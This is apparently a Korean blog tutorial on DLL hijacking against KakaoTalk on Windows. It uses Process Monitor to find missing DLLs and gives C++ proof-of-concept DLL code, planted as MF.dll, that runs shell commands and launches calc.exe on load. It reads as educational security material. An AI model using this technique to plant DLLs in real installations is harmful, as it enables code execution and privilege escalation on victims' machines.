효투의 세상 로딩중...
효투의 세상 로딩중...
반응형

어떤 프로그램을 실행할 때 거의 필수적으로 참조하는 것이 동적 라이브러리 파일인 DLL이다.

DLL파일은 C, C++ 언어로 만들어져 개발자가 의도한 기능들을 수행하는데

이 DLL파일을 공격자가 악의적인 코드로 제작하여 프로그램이 실행될 때 참조하게 만듬으로써 공격자가 원하는 기능이 수행되게 되는 것을 DLL 하이재킹(DLL Hijacking)이라고 한다.

만약 test.exe 프로그램을 실행할 때 A.dll 파일을 참조해야한다면

A.dll 파일을 참조하기 위해서 시스템은 지정된 경로에서 dll 파일을 찾고 만약 그곳에 없다면

다양한 디렉터리를 조회하며 A.dll을 찾게된다.

그 때 프로그램이 어떤 디렉터리를 조회하는지 확인하여 악의적인 코드가 담긴 A.dll을 넣어준다.

 

먼저, 프로그램이 참조하는 dll을 파악하기위해서 Process Monitor 툴이 필요하다.

https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

 

Process Monitor - Windows Sysinternals

Monitor file system, Registry, process, thread and DLL activity in real-time.

docs.microsoft.com

해외 포럼을 보면 다른 명령어들로 찾는 방법도 있긴하던데 이게 제일 편한것같다.

프로세스 모니터는 어떤 프로세스가 실행되면 그 Process에 대한 모니터링을 하여 어떻게 동작하는지 보게해준다.

 

먼저 DLL 하이재킹을 수행할 프로그램을 찾아 그 경로로가서 프로그램의 이름을 확인한다 KakaoTalk.exe

그리고 PM툴의 필터 기능을 이용해서

Process Name is KakaoTalk.exe

Path contains dll

Result contains NAME NOT FOUND 필터를 설정해준다

Result 필터에 NAME NOT FOUND를 해주는 이유는 카카오톡이 참조하려고하는 DLL 파일이지만

시스템에서 찾을 수 없는 파일들을 확인하기 위해서다.

그 찾을 수 없는 DLL 파일을 생성하여 참조할 수 있도록 하이재킹 해줄 것이다.

필터를 걸어주고 카톡을 실행하게되면 이렇게 제대로 참조하지 못하는 dll 파일들만 보여준다.

실제로 휠을 아래위로 더 훑어보면 KaKao 디렉터리 뿐만 아니라 System 디렉터리 Appdata 디렉터리 등등

여기저기 상관없을 것같은 디렉터리까지 다양한 디렉터리를 참조한다.

이제 하이재킹을 하기 위한 DLL 파일을 만들러간다. 

카카오톡은 64비트 폴더가아닌 32비트 디렉터리에 설치가 되어 동작하고있기 때문에 Release 비트도 맞춰준 후

다음과 같은 코드를 작성한다.

#include <Windows.h>
#include <iostream>
#include <string>


void test_func()
{
	DWORD pid = GetCurrentProcessId();  // 프로그램의 PID 를 가져옴
	MessageBoxA(
		NULL, 
		std::to_string(pid).c_str(), // 프로그램의 PID가 적힌 메시지박스 출력 "DLL Hijacking"은 알림창의 제목 
		"DLL Hijacking",
		MB_OK);
}


BOOL APIENTRY DllMain(HMODULE hmodule, DWORD reason_for_call, LPVOID lp_reserved)
{
	switch (reason_for_call)
	{
	case DLL_PROCESS_ATTACH:     // DLL에 붙을 때 test_func 명령 실행
		DisableThreadLibraryCalls(hmodule);
		test_func();
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return true;
}

 

만약 DLL 하이재킹이 된다면 메시지박스가 출력되며 프로그램의 PID를 띄워줄 것이다.

빌드 하게 되면 아래와 같이 해당 경로에 dll 파일이 생성된 것을 볼 수 있다.

참조하는 DLL 파일이 굉장히 많지만 대충 하나를 골라준다

MF.dll 이름을 확인 후 어디서 참조를 하는지 경로까지 확인

C:\Program Files (x86)\Kakao\KakaoTalk

해당 경로에 들어가서 방금 제작하였던 dll 파일의 이름을 MF.dll로 바꾸어 참조할 수 있도록 디렉터리에 담아준다.

그 후

카카오톡을 실행하게되면 아래 사진과 같이 PID가 출력되는 것을 볼 수 있다.

또한 PM툴로 찾지 못하는 dll 파일들을 다시 보면 MF.dll은 목록에서 사라진것을 볼 수 있다.

 

위와 같은 예시코드 이외에 좀 더 다양한 공격이 가능하다

cmd 명령어 입력이나 악성프로그램 실행, 레지스트리 수정 등 거의 모든 동작이 가능하여

권한 상승 공격으로도 많이 연계된다고 한다.

아래 코드는 좀 더 다양한 기법을 위한 예시 코드


		system("cmd.exe /c ipconfig > C:\\Users\\Hyotwo\\Desktop\\hijack\\hijack.txt");
        //cmd창에서 ipconfig 명령어 후 hijack.txt로 저장
		system("cmd.exe /c dir > C:\\Users\\Hyotwo\\Desktop\\hijack\\hijack2.txt");
        //cmd창에서 dir 명령어 후 hijack2.txt로 저장
		WinExec("calc.exe", 0);
        //계산기 실행
		ExitProcess(0);
        //프로세스 종료

 

반응형

해당 코드를 똑같이 dll로 만들어 카카오톡을 실행 해주게되면

디렉터리 내에 txt 파일이 2개 생성되고 계산기가 실행되는 것을 볼 수 있다.

역시 txt 파일 안엔 명령어가 실행된 내용이 들어가있음

프로세스가 강제종료되어 실행 중 MF.dll 참조 후 프로그램이 종료되어 더이상 dll 파일을 불러오지 못한다.

이런 dll 하이재킹은

msf를 이용하여 리버스 쉘 연결과 같은 공격이나 권한 상승 공격으로 자주 이어진다고 한다.

추가적으로 dll 하이재킹은 지금처럼 프로그램이 설치된 디렉터리를 참조하는 dll이 아닌

엉뚱한 경로를 참조할 경우 취약점으로 볼 수 있다.

반응형
  • hyotwo7658@gmail.com

복사 완료 👍